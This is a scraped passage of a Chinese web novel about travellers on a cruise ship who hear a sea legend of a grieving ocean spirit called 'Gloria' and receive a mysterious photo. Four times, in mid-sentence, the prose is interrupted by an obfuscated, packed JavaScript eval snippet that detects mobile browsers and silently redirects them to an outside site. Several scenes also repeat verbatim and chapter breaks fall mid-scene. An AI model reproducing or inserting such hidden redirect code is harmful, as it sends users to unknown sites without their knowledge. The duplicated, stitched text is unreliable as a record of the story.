安娜贝尔反手关上门,海潮声被隔绝在外,室内的气氛变得有些不同寻常。她示意几人随便坐,自己则靠在一张矮柜上。 艾米丽、初与序和冬逢初坐在长沙发上,齐无尽和向枝冥则坐在两侧,五人默契地沉默,等待安娜贝尔讲述那个“不一样的故事”。 安娜贝尔深吸一口气,声音压低,带着一种吟诵般的语调,缓缓开口:“根据本地渔民古老相传的卷宗,和诗人残篇的记载,在这片蔚蓝之下,有着一位存在。” “他们信奉一位古老的存在,尊称为‘格格莉娅’(Gloria),意为‘深海的哀容’或‘无光之母’。她并非通常意义上的神明,更像是一种与海洋融合的意识。” “传说中,格格莉娅曾是远古时期一位与海洋共生,能聆听潮汐心声的部族女首领。她的族群视为海洋为家园与乳母。” “然而,一场巨大的灾难——大概是陆地人类的贪婪,发生了。这场灾难使她失去了所有子民与挚爱。” “极致的悲痛并未让她消亡,反而使她沉入最深的海沟。她的泪水与海洋融为一体,她的血脉化作了海底山脉,她的呼吸成为了洋流。自此,她成为了海洋本身的一部分,一个庞大沉睡,但偶尔会苏醒的意识。” 安娜贝尔的声音里带上了一丝缥缈:“她不需要凡俗的贡品,但她渴望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16913183|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一种情感的深度回响。” “格格莉娅对她失去的一切怀有眷恋。她尤其容易被那些带有海洋特质的情感吸引。比如深沉的哀、被遗弃的孤独、对回归的绝望渴望,或是与陆地决裂的坚定意志。” “古老的说法是,当陆上之人的情感强烈到能与深海之下的她的梦境一样时,她便可能予以注视。” “有时,强烈的思念、绝望的呼唤,或者是带有海洋印记的珍贵遗物。”她顿了顿,继续道,“尤其是珍珠,被认为是凝固的泪滴,或月华与海水的水晶,能更容易穿透深渊,让她苏醒。” 听到“珍珠”两词时,初与序四人对视一眼,不约而同想到了罗莎的珍珠项链。 安娜贝尔继续道:“传说,那些情感能与她产生最深切共鸣的孤独灵魂。会得到她的应许。” “她会以一种常人无法理解的方式伸出援手。将陆地上的人引到她的深海国度,视为迷失已久终于归来的孩子,给予他与海同眠的拥抱和陪伴,使其脱离陆地的痛苦与孤独。” “这被视为一种扭曲的慈悲,称之为——‘归乡’。” 休息室内寂静了几秒,只有窗外隐约传来的海浪声。安娜贝尔耸了耸肩:“很古老的故事了,渔民们口耳相传,你们就当个趣闻听听吧。” 初与序靠在沙发背上,双腿优雅交叠。她发现这个故事细节太具体,不像是世代流传中会变得模糊的古老神话,反而是对某个真实发生过的记录。 她忽然开口:“请问有没有更具体一点的例子?” 安娜贝尔脸上闪过惊讶,看向初与序,随后露出带着赞许的笑容:“你问到点子上了。” 她抱臂来到落地窗边,看着外面无垠的蓝色:“这个例子发生在离这里不算太远的‘黑礁村’,那村子的名字,就来源于旁边那片黑得能吞掉所有光和希望的海域。” “村里的老人,早就记不清是哪年哪月的事了。只说曾经有一户姓‘温特斯’(Winters)的人家,他们家的小儿子,叫埃里昂(Elian)。那孩子从小就跟海水特别亲,眼神干净得像是最浅的海水,可总是带着一股在陆地上找不到的忧郁。他特别喜欢收集月光底下泛着幽蓝的珍珠,管它们叫什么……‘海洋凝固的叹息’。” 初与序闻言侧过头,看向一直坐在自己身边的艾米丽。 艾丽米也仰起脸,那双湛蓝色的眼睛一眨不眨地回望着她。那蓝色极其纯粹,却也极其冰冷,不像是故事里描述的盛满忧郁情绪,更像是封冻了万载寒冰的深海蓝洞。 艾米丽轻微地歪了下头,用眼神无声地询问她怎么了。 初与序犹豫了一下,最终什么也没问,只是伸出手轻轻地摸了下她的金发。艾米丽没有躲闪。 “看来她很喜欢你。”安娜贝尔看到这一幕,扬起眉笑着看向初与序的双眼,“如果是别人摸她的头发,那个人的手现在已经废了。” 初与序手僵了一下:“……” 166.蔚蓝海神号 悲痛把他彻底压垮了。村里人总能看见他没日没夜地在那些黑色的礁石上徘徊,怀里紧紧攥着他母亲留下的一枚镶嵌着巨大黑珍珠的胸针,对着咆哮的大海哭喊他的孤独和绝望,那声音凄厉得就像海鸟的哀鸣。” “他不要吃的,也不要钱,只是反反复复地哭求:‘带我走吧!去哪儿都行,只要别留下我一个人!’” “三天后,一场毫无征兆的猛烈风暴砸向了海岸,那势头凶得,就像是海洋自己在发怒。” “有胆子大的渔民在闪电劈开夜幕的那一刻,好像看到滔天的巨浪里有什么非人的、巨大的阴影在蠕动,还听到一种低沉得能震到人心里去的,像是鲸歌可又无比悲怆的吟唱。” “风暴过去的第二天早上,埃里昂不见了。”安娜贝尔顿了顿,扫向四人,“黑色的礁石上,只留下那枚母亲的黑珍珠胸针,被端端正正地放在最高最平的那块石头上,一点损坏都没有,在刚升起的太阳下闪着光,像被什么温柔但冰冷的东西仔细抚摸过。他的小渔船还好端端地栓在码头,村里没有一个看见他是怎么离开的。” “后来好多年,黑礁村的渔民之间悄悄流传起一个说法:在刮着特定风向的晚上,去那片黑水里打鱼,有时候能听到深水下传来隐隐约约的快乐歌声,听着很像埃里昂,但又和另一种更古老、更宏大的悲鸣缠绕在一起,好像他终于不再是一个人了。” “他们相信,是‘深海的哀容’听到了他那陆地容不下的悲伤,把他那强烈的情绪当成了最深切的呼唤,最终把他带走了,带到格格莉娅永恒怀抱里,用另一种方式,让他们‘团聚’了。” 安娜贝尔看着眼前神色各异的听众,最后用一种近乎告诫的语气补充道: “因此,渔民间流传的告诫是:不要在暴风雨中向深海倾诉你最深的痛苦与孤独,不要将浸满泪水的珍珠海物投入波涛,尤其是珍珠。因为你无法确定,聆听你的是否只是无心的海浪,还是那位沉眠的‘无光之母’。” “她的让人们与世隔绝的‘同化’。成为她庞大的一部分,永远沉睡在无光的深渊,与悲伤的洋流和失落的记忆为伴。对于仍旧渴望尘世温暖的人来说,那种归宿,远比彻底的消亡更令人恐惧。” 总结完,安娜贝尔摊开手无所谓地笑了笑:“虽然有埃里昂的例子,但都是些传说,吓唬小孩子别靠近海边的啦。这艘船很安全,大家享受旅程就好。” 然而,她自己眼神里残留的一丝敬畏,表面她并非完全不信这个“传说”。 就在齐无尽刚要开口时,休息室外忽然传来一阵急促的脚步声,接着门被“砰”地一声推开。 罗莎蒙特罗气势汹汹地站在门口,脸色因愤怒而微微涨红。她甚至没有注意到房间里还有其他人,目光直直落在艾米丽身上。 “There you are!I''ve been calling for you everywhere!I''m feeling utterly wretched with this cold,and you''re in here...hiding?Playing?(你果然在这里!我到处找你!我感冒难受得要命,你倒好,躲在这里…偷懒?玩闹?)” 她大步走进来,一把就要去拽艾米丽的胳膊:“The Captain''s dinner is in three hours!I will not show up looking like this!You need toe and help me prepare at once!I need toe and help me prepare at once!Move!(船长的晚宴三小时后就要开始了!我不能这副样子出席!你立刻过来帮我准备!快点!)” 艾米丽被她拽了一个踉跄,却根本挣脱不开。 初与序见状,上前刚要帮忙,被冬逢初轻轻按住,示意她放心。随后冬逢初站起身,温和开口:“Mrs.Montero,perhaps you could let her rest for a while!She is still a chuld,after all.(蒙特罗女士,或许您可以让她休息一下?她毕竟还是个孩子。)” 罗莎的动作顿住,像是才注意到房间里还有别人,尤其是这几个中国人。她不可置信地转过头,上下打量着冬逢初,仿佛听到了什么天方夜谭。 “A child?Rest?(孩子?休息?)”她嗤笑一声,“She has her duties!And it is none of your concern how I manage my householde,Emily,now!(她有她的责任!我怎么管教我家的人不关你的事!过来,艾米丽,立刻!)” 冬逢初还想再拦,一直低着的头的艾米丽却突然抬起头,朝冬逢初耸了一下肩膀,用熟练的中文道:“没有用的,她谁都不会听。” 不等任何人反应,她已经主动从初与序身后走出来,避开了罗莎伸来的手,走出休息室。 罗莎似乎被女儿突如其来的顺从,和那句她听不懂的中文弄得愣了一下,随即冷哼一声,快步跟着艾米丽离开。 向枝冥啧了一声,无奈地摇摇头。 安娜贝尔抬头看了一眼时钟,发出一声低呼:“天呐,这个时间了!我得赶紧去帮我父亲准备今晚的晚宴了!” 四人见状,便起身道别,打算离开。冬逢初、向枝冥和齐无尽率先走出了休息室。初与序走咋最后,朝安娜贝尔点头:“谢谢你的故事,我们也回去准备了。” 她转身刚要迈出房门,安娜贝尔却像是突然想到了什么,急忙叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16913184|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住她:“噢等等!有样东西也许你们会感兴趣,我不知道这算不算线索…” 她从自己外套的内衬钱包里翻找,抽出一张边缘有些磨损的旧照片,递了过来。相纸泛黄,质感粗糙,显然有些年头了。 “这是我很早以前清扫储物柜时找到的,我不知道上面拍到的到底是什么,但看到它的第一眼,我就想到了那个故事。” 初与序接过照片,目光首先落在照片右下角,那里用潦草的英文写着: “Gloria?——Taken during the Sea''s Weeping''storm,Black Reef Point.(格格莉娅?——拍摄于‘海哭’风暴夜,黑礁角。)” 初与序仔细看向照片本身。 影像极度模糊,像是在极度颠簸恶劣的环境下急促抓拍。背景是漆黑翻涌的怒海和闪电。 而在那混沌的中央,隐约勾勒出一个模糊的女性上身轮廓,由海水,月光,和泡沫凝聚而成,与风暴融为一体。 然而,在这片混沌之中,唯有一样东西异常清晰,令人心悸。 那是一双美丽到无法用言语形容的眼睛,是世间最深邃的冰蓝色,有着整个海洋。瞳孔深处有星璇般的微光,在缓慢旋转。 而这双极美的眼睛里,有着一种无边无际的悲伤,一种足以吞噬一切的古老智慧,以及一种对迷失灵魂的吸引力。像是能穿透相纸,直视观者的灵魂。 就当初与序凝神看照片时,安娜贝尔的目光却不由自主地落在了初与序的眼睛上。 她微微歪头,带着一丝好奇和不确定:“等一下,不好意思冒犯了,但你的眼睛……请问颜色是不是不太一样?”她仔细看了看,“右眼是正常的黑色,但左眼好像是灰色?是光线原因吗?还是异瞳?” 初与序抬起眼,浅浅地笑了笑:“并不是异瞳,只是左眼戴了不明显的灰色美瞳而已,一点个人喜好。”她并不打算把自己左眼失明的事情说出来。 安娜贝尔信以为真,点了点头,但目光依旧带着欣赏停留在初与序的眼睛上:“很特别,也很美,尤其是这种灰色。”她顿了顿,在寻找合适的词,“…有一种很淡的忧伤感。” 她又看向初与序手中那张照片:“说真的,如果你的眼睛是冰蓝色,那简直会和这照片上的眼睛一模一样。不是形状,是那种…感觉。” “还有刚才和你们一起的那位棕发先生,他和你长得很像,是兄妹吗?他的眼睛虽然是浅棕色,但给人的感觉,和你很像。” 初与序闻言,微微挑眉,故作惋惜道:“是吗?那很可惜我和他并不是蓝眼睛,也并不是兄妹。如果那样,我和我‘哥哥’就不能这样正大光明的谈恋爱了。” 安娜贝尔被她的话带出了些笑意:“也是。好啦,我真的必须得跑了!晚宴见!”她不再耽搁,匆匆拿起自己的东西,快步从员工通道离开。 167.蔚蓝海神号 罗莎的言辞刻薄并侮辱人,维克紧紧抿着唇,但依旧低着头:“My deepest apologies,Madam,I weill fetch the manager at once and have your wine replaced.(万分抱歉,女士。我立刻去请经理来为您换酒。)” 他几乎是小跑着离开。很快,一位穿着正式西装,神色严肃的餐厅经理快步赶来,对着罗莎连连鞠躬道歉。 尽管经理一再解释酒没有问题,并愿意为她免费更换任何其他饮品,但罗莎依旧不依不饶,坚持要投诉维克 莱恩“服务不周、态度恶劣”。 最终,在罗莎咄咄逼人下,经理不得不妥协。他转向脸色惨白的维克,低声说了几句。维克的身体僵硬了一下,头垂得更低,双手紧紧攥住衣角。 “发生了什么?”向枝冥只听得懂几个词,一脸茫然地看着经理和维克,“他和维克说了什么?” 冬逢初把整件事的经过和他重复了一遍:“经理和维克说:‘莱恩先生,鉴于屡次遭到投诉,你被解除餐厅服务职务,直至本次航行结束。去找事务长报到,等待重新分配。’” “屡次投诉?”齐无尽挑眉,用中文道,“怕不是次次都来自这位女士吧?” 维克 莱恩的头垂得更低了,肩膀垮塌下来,低声回了句:“Yes,sir.”然后他飞快解下了代表餐厅服务的领结和名牌,交给了经理。转身离开时,他眼神晦暗地快速瞥了罗莎一眼,那里面的屈辱和愤恨几乎要溢出来,但他快速收敛了,只是沉默地走开。 罗莎这才像是赢得了某种胜利,冷哼一声,重新坐直身体,整理了一下她那串闪亮的珍珠项链。 经理安排了另一名服务员接替了维克的工作,周围陷入一阵短暂的尴尬寂静,不少乘客面露不适,但没人出声。 向枝冥摇了摇头,叹道:“我嘞个乖乖,直接给人撤职了。这梁子结大了,估计后面得出事。”他看向身边三人,“所以我们接下来去哪里?主线剧情到现在都没触发呢。” 冬逢初托着下巴,开口:“去图书馆看看吧,这种远洋游轮的图书馆,应该会收藏一些这片海域的民间传说或地方志?” “走。”初与序用湿巾擦了擦手,站起身。 游轮的图书馆位于第七层,环境幽静。巨大的落地窗外,是一望无际的海面。这里充斥着旧书和实木家具特有的淡香。书架高耸,排列着各种语言的书籍。只有零星几位乘客散落在角落,安静阅读。 向枝冥环顾四周,顺手从书架上抽出一本厚厚的精装书,瞥了一眼书名,是一本海洋鱼类图鉴,他又塞了回去。 冬逢初径直走向标注着“海事历史与地方志”的区域,初与序则穿梭在文学区,试图寻找任何可能与异常事件相关的传说。 齐无尽靠在巨大的落地窗边,抱着手臂,目光投向远方海天一色的交界线。 “这里的书也太多了,跟大海捞针似的。”向枝冥看着几乎望不到头的书架,压低声音,“再说了,真正要命的线索,哪会正大光明写在书里。” 齐无尽闻言转过头,朝不远处看去:“直接问知情者效率更高。” 三人顺着他的视线望去,只见安娜贝尔 肖正半蹲在地上,笑容灿烂地和艾米丽说着什么。小女孩虽然依旧没什么表情,但眼神比在罗莎身边柔和了许多,偶尔还会轻轻点一下头。 “她们看上去关系不错。”初与序道。 四人走过去,冬逢初温和地开口:“安娜贝尔小姐,艾丽米,又见面了。” 安娜贝尔抬起头,看到是他们,笑着站起身:“是你们啊。我记得下午游轮有泳池派对,怎么跑到图书馆来了?” “我们想找找关于这片海域有没有什么特殊的传说,或者故事。”初与序实话实说。 安娜贝尔眨了眨眼,思考后说道:“图书馆的书上记载的东西很多都是糊弄游客的。不过…我小时候确实听老船员讲过一些不一样的故事。” 她弯下腰,轻声对艾米丽说:“小艾米丽,想一起去听听故事吗?就我们几个。” 艾米丽抬起头,很明显听得懂中文。她湛蓝的眼睛看了看安娜贝尔,又快速扫了一眼初与序四人,轻轻点了点头。 “请跟我来吧。”安娜贝尔对四人招招手,压低声音,“这里说话不方便,我知道有个安静的小休息室。” 她领着五人穿过图书馆侧面的走廊,推开一扇不起眼的门。里面是一个布置得相当舒适私密的休息间,隔音很好。 安娜贝尔反手关上门,海潮声被隔绝在外,室内的气氛变得有些不同寻常。她示意几人随便坐,自己则靠在一张矮柜上。 艾米丽、初与序和冬逢初坐在长沙发上,齐无尽和向枝冥则坐在两侧,五人默契地沉默,等待安娜贝尔讲述那个“不一样的故事”。 安娜贝尔深吸一口气,声音压低,带着一种吟诵般的语调,缓缓开口:“根据本地渔民古老相传的卷宗,和诗人残篇的记载,在这片蔚蓝之下,有着一位存在。” “他们信奉一位古老的存在,尊称为‘格格莉娅’(Gloria),意为‘深海的哀容’或‘无光之母’。她并非通常意义上的神明,更像是一种与海洋融合的意识。” “传说中,格格莉娅曾是远古时期一位与海洋共生,能聆听潮汐心声的部族女首领。她的族群视为海洋为家园与乳母。” “然而,一场巨大的灾难——大概是陆地人类的贪婪,发生了。这场灾难使她失去了所有子民与挚爱。” “极致的悲痛并未让她消亡,反而使她沉入最深的海沟。她的泪水与海洋融为一体,她的血脉化作了海底山脉,她的呼吸成为了洋流。自此,她成为了海洋本身的一部分,一个庞大沉睡,但偶尔会苏醒的意识。” 安娜贝尔的声音里带上了一丝缥缈:“她不需要凡俗的贡品,但她渴望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914872|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一种情感的深度回响。” “格格莉娅对她失去的一切怀有眷恋。她尤其容易被那些带有海洋特质的情感吸引。比如深沉的哀、被遗弃的孤独、对回归的绝望渴望,或是与陆地决裂的坚定意志。” “古老的说法是,当陆上之人的情感强烈到能与深海之下的她的梦境一样时,她便可能予以注视。” “有时,强烈的思念、绝望的呼唤,或者是带有海洋印记的珍贵遗物。”她顿了顿,继续道,“尤其是珍珠,被认为是凝固的泪滴,或月华与海水的水晶,能更容易穿透深渊,让她苏醒。” 听到“珍珠”两词时,初与序四人对视一眼,不约而同想到了罗莎的珍珠项链。 安娜贝尔继续道:“传说,那些情感能与她产生最深切共鸣的孤独灵魂。会得到她的应许。” “她会以一种常人无法理解的方式伸出援手。将陆地上的人引到她的深海国度,视为迷失已久终于归来的孩子,给予他与海同眠的拥抱和陪伴,使其脱离陆地的痛苦与孤独。” “这被视为一种扭曲的慈悲,称之为——‘归乡’。” 休息室内寂静了几秒,只有窗外隐约传来的海浪声。安娜贝尔耸了耸肩:“很古老的故事了,渔民们口耳相传,你们就当个趣闻听听吧。” 初与序靠在沙发背上,双腿优雅交叠。她发现这个故事细节太具体,不像是世代流传中会变得模糊的古老神话,反而是对某个真实发生过的记录。 她忽然开口:“请问有没有更具体一点的例子?” 安娜贝尔脸上闪过惊讶,看向初与序,随后露出带着赞许的笑容:“你问到点子上了。” 她抱臂来到落地窗边,看着外面无垠的蓝色:“这个例子发生在离这里不算太远的‘黑礁村’,那村子的名字,就来源于旁边那片黑得能吞掉所有光和希望的海域。” “村里的老人,早就记不清是哪年哪月的事了。只说曾经有一户姓‘温特斯’(Winters)的人家,他们家的小儿子,叫埃里昂(Elian)。那孩子从小就跟海水特别亲,眼神干净得像是最浅的海水,可总是带着一股在陆地上找不到的忧郁。他特别喜欢收集月光底下泛着幽蓝的珍珠,管它们叫什么……‘海洋凝固的叹息’。” 初与序闻言侧过头,看向一直坐在自己身边的艾米丽。 艾丽米也仰起脸,那双湛蓝色的眼睛一眨不眨地回望着她。那蓝色极其纯粹,却也极其冰冷,不像是故事里描述的盛满忧郁情绪,更像是封冻了万载寒冰的深海蓝洞。 艾米丽轻微地歪了下头,用眼神无声地询问她怎么了。 初与序犹豫了一下,最终什么也没问,只是伸出手轻轻地摸了下她的金发。艾米丽没有躲闪。 “看来她很喜欢你。”安娜贝尔看到这一幕,扬起眉笑着看向初与序的双眼,“如果是别人摸她的头发,那个人的手现在已经废了。” 初与序手僵了一下:“……” 168.蔚蓝海神号 悲痛把他彻底压垮了。村里人总能看见他没日没夜地在那些黑色的礁石上徘徊,怀里紧紧攥着他母亲留下的一枚镶嵌着巨大黑珍珠的胸针,对着咆哮的大海哭喊他的孤独和绝望,那声音凄厉得就像海鸟的哀鸣。” “他不要吃的,也不要钱,只是反反复复地哭求:‘带我走吧!去哪儿都行,只要别留下我一个人!’” “三天后,一场毫无征兆的猛烈风暴砸向了海岸,那势头凶得,就像是海洋自己在发怒。” “有胆子大的渔民在闪电劈开夜幕的那一刻,好像看到滔天的巨浪里有什么非人的、巨大的阴影在蠕动,还听到一种低沉得能震到人心里去的,像是鲸歌可又无比悲怆的吟唱。” “风暴过去的第二天早上,埃里昂不见了。”安娜贝尔顿了顿,扫向四人,“黑色的礁石上,只留下那枚母亲的黑珍珠胸针,被端端正正地放在最高最平的那块石头上,一点损坏都没有,在刚升起的太阳下闪着光,像被什么温柔但冰冷的东西仔细抚摸过。他的小渔船还好端端地栓在码头,村里没有一个看见他是怎么离开的。” “后来好多年,黑礁村的渔民之间悄悄流传起一个说法:在刮着特定风向的晚上,去那片黑水里打鱼,有时候能听到深水下传来隐隐约约的快乐歌声,听着很像埃里昂,但又和另一种更古老、更宏大的悲鸣缠绕在一起,好像他终于不再是一个人了。” “他们相信,是‘深海的哀容’听到了他那陆地容不下的悲伤,把他那强烈的情绪当成了最深切的呼唤,最终把他带走了,带到格格莉娅永恒怀抱里,用另一种方式,让他们‘团聚’了。” 安娜贝尔看着眼前神色各异的听众,最后用一种近乎告诫的语气补充道: “因此,渔民间流传的告诫是:不要在暴风雨中向深海倾诉你最深的痛苦与孤独,不要将浸满泪水的珍珠海物投入波涛,尤其是珍珠。因为你无法确定,聆听你的是否只是无心的海浪,还是那位沉眠的‘无光之母’。” “她的让人们与世隔绝的‘同化’。成为她庞大的一部分,永远沉睡在无光的深渊,与悲伤的洋流和失落的记忆为伴。对于仍旧渴望尘世温暖的人来说,那种归宿,远比彻底的消亡更令人恐惧。” 总结完,安娜贝尔摊开手无所谓地笑了笑:“虽然有埃里昂的例子,但都是些传说,吓唬小孩子别靠近海边的啦。这艘船很安全,大家享受旅程就好。” 然而,她自己眼神里残留的一丝敬畏,表面她并非完全不信这个“传说”。 就在齐无尽刚要开口时,休息室外忽然传来一阵急促的脚步声,接着门被“砰”地一声推开。 罗莎蒙特罗气势汹汹地站在门口,脸色因愤怒而微微涨红。她甚至没有注意到房间里还有其他人,目光直直落在艾米丽身上。 “There you are!I''ve been calling for you everywhere!I''m feeling utterly wretched with this cold,and you''re in here...hiding?Playing?(你果然在这里!我到处找你!我感冒难受得要命,你倒好,躲在这里…偷懒?玩闹?)” 她大步走进来,一把就要去拽艾米丽的胳膊:“The Captain''s dinner is in three hours!I will not show up looking like this!You need toe and help me prepare at once!I need toe and help me prepare at once!Move!(船长的晚宴三小时后就要开始了!我不能这副样子出席!你立刻过来帮我准备!快点!)” 艾米丽被她拽了一个踉跄,却根本挣脱不开。 初与序见状,上前刚要帮忙,被冬逢初轻轻按住,示意她放心。随后冬逢初站起身,温和开口:“Mrs.Montero,perhaps you could let her rest for a while!She is still a chuld,after all.(蒙特罗女士,或许您可以让她休息一下?她毕竟还是个孩子。)” 罗莎的动作顿住,像是才注意到房间里还有别人,尤其是这几个中国人。她不可置信地转过头,上下打量着冬逢初,仿佛听到了什么天方夜谭。 “A child?Rest?(孩子?休息?)”她嗤笑一声,“She has her duties!And it is none of your concern how I manage my householde,Emily,now!(她有她的责任!我怎么管教我家的人不关你的事!过来,艾米丽,立刻!)” 冬逢初还想再拦,一直低着的头的艾米丽却突然抬起头,朝冬逢初耸了一下肩膀,用熟练的中文道:“没有用的,她谁都不会听。” 不等任何人反应,她已经主动从初与序身后走出来,避开了罗莎伸来的手,走出休息室。 罗莎似乎被女儿突如其来的顺从,和那句她听不懂的中文弄得愣了一下,随即冷哼一声,快步跟着艾米丽离开。 向枝冥啧了一声,无奈地摇摇头。 安娜贝尔抬头看了一眼时钟,发出一声低呼:“天呐,这个时间了!我得赶紧去帮我父亲准备今晚的晚宴了!” 四人见状,便起身道别,打算离开。冬逢初、向枝冥和齐无尽率先走出了休息室。初与序走咋最后,朝安娜贝尔点头:“谢谢你的故事,我们也回去准备了。” 她转身刚要迈出房门,安娜贝尔却像是突然想到了什么,急忙叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914873|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住她:“噢等等!有样东西也许你们会感兴趣,我不知道这算不算线索…” 她从自己外套的内衬钱包里翻找,抽出一张边缘有些磨损的旧照片,递了过来。相纸泛黄,质感粗糙,显然有些年头了。 “这是我很早以前清扫储物柜时找到的,我不知道上面拍到的到底是什么,但看到它的第一眼,我就想到了那个故事。” 初与序接过照片,目光首先落在照片右下角,那里用潦草的英文写着: “Gloria?——Taken during the Sea''s Weeping''storm,Black Reef Point.(格格莉娅?——拍摄于‘海哭’风暴夜,黑礁角。)” 初与序仔细看向照片本身。 影像极度模糊,像是在极度颠簸恶劣的环境下急促抓拍。背景是漆黑翻涌的怒海和闪电。 而在那混沌的中央,隐约勾勒出一个模糊的女性上身轮廓,由海水,月光,和泡沫凝聚而成,与风暴融为一体。 然而,在这片混沌之中,唯有一样东西异常清晰,令人心悸。 那是一双美丽到无法用言语形容的眼睛,是世间最深邃的冰蓝色,有着整个海洋。瞳孔深处有星璇般的微光,在缓慢旋转。 而这双极美的眼睛里,有着一种无边无际的悲伤,一种足以吞噬一切的古老智慧,以及一种对迷失灵魂的吸引力。像是能穿透相纸,直视观者的灵魂。 就当初与序凝神看照片时,安娜贝尔的目光却不由自主地落在了初与序的眼睛上。 她微微歪头,带着一丝好奇和不确定:“等一下,不好意思冒犯了,但你的眼睛……请问颜色是不是不太一样?”她仔细看了看,“右眼是正常的黑色,但左眼好像是灰色?是光线原因吗?还是异瞳?” 初与序抬起眼,浅浅地笑了笑:“并不是异瞳,只是左眼戴了不明显的灰色美瞳而已,一点个人喜好。”她并不打算把自己左眼失明的事情说出来。 安娜贝尔信以为真,点了点头,但目光依旧带着欣赏停留在初与序的眼睛上:“很特别,也很美,尤其是这种灰色。”她顿了顿,在寻找合适的词,“…有一种很淡的忧伤感。” 她又看向初与序手中那张照片:“说真的,如果你的眼睛是冰蓝色,那简直会和这照片上的眼睛一模一样。不是形状,是那种…感觉。” “还有刚才和你们一起的那位棕发先生,他和你长得很像,是兄妹吗?他的眼睛虽然是浅棕色,但给人的感觉,和你很像。” 初与序闻言,微微挑眉,故作惋惜道:“是吗?那很可惜我和他并不是蓝眼睛,也并不是兄妹。如果那样,我和我‘哥哥’就不能这样正大光明的谈恋爱了。” 安娜贝尔被她的话带出了些笑意:“也是。好啦,我真的必须得跑了!晚宴见!”她不再耽搁,匆匆拿起自己的东西,快步从员工通道离开。 169.蔚蓝海神号 初与序走出休息室,快步跟上等在不远处的三位同伴,将那张泛黄的照片递了过去。 “啥玩意?”向枝冥接过,冬逢初凑过去,齐无尽没动,扫了一眼,目光在照片角落的潦草字迹,和冰蓝色眼睛上多停留了一会。 “安娜贝尔给的。”初与序言简意赅道,“她说是很久之前在游轮上找到的。” “这眼睛看得人心里发毛啊。”向枝冥抱着胳膊,“黑礁角,‘海哭’风暴,和刚刚那个故事对上了。说着,他将照片递回给初与序,“你收好吧,说不定能在永冬之城暗网上卖点积分。” 就在这时,游轮广播再次响起,依旧是那优雅的女声: “Ladies and gentlemen,in approximately tow hours.the Captain''s Grand Gala Dinner willmence in the main ballroom on Deck 5.You are now kindly invited to reture to your staterooms to attire yourselves in your finest evening wear and enjoy a moment of repose before the festivities begin.(女士们先生们,大约两小时后,船长盛大的晚宴将在五层主舞厅开始。诚挚邀请各位返回客房,换上您最精美的晚礼服,并在庆典开始前稍事休息。)” 广播重复了一遍,乘客们开始说说笑笑地朝电梯和客房方向移动,他们面上充斥着对晚宴的期待。 四人也随着人流往回走,刚拐过一条铺着厚地毯的走廊,一阵激烈的争吵声就从前方一个角落里传来。初与序抬眼望去,又是罗莎蒙特罗。而这次与她对峙的,正是早些时候有过争执的红发女人玛蒂尔达克劳。 罗莎的脸因为愤怒泛红,手指差点戳到玛蒂尔达的鼻子上。玛蒂尔达则脸色苍白,毫不退缩地瞪着对方。两人的英文对话又快又急,充满了火药味。 “这俩又杠上了?”向枝冥探头看了一眼,又缩回来,压低声音问几人,“这次吵啥呢?听起来比上午还凶。” 初与序和冬逢初试图听清她们之前的对话,但奈何距离太远,她们语速过快,加上英文水平有限,只能无奈地摇摇头。三人大眼瞪小眼。 “还是债务问题。”齐无尽听力和英文极佳,面无表情地总结道,“玛蒂尔达欠了罗莎一大笔钱,罗莎勒令她今晚必须还清,否则就要用她抵押的那些‘见不得光的收藏品’来抵债。玛蒂尔达说罗莎在敲诈,那些东西的价值远远超过债务。争执很严重,涉及非法交易。” 冬逢初轻轻摇头:“雪上加霜。” 初与序最后看了一眼那两位几乎要撕破脸皮的女士,玛蒂尔达气得浑身发抖,望向对方的眼神充满憎恨,而罗莎则是一副居高临下的胜利者姿态。 “先回房间吧。”她收回目光。 四人不再停留,继续走向客房区域。 初与序打开自己的房门,走了进去。舱房内布置奢华舒适,她第一眼望向的是那面落地窗。窗外,原本蔚蓝的海面此刻有些沉郁,天空边缘出现灰蒙蒙的云层,缓慢地向着游轮的方向蔓延。 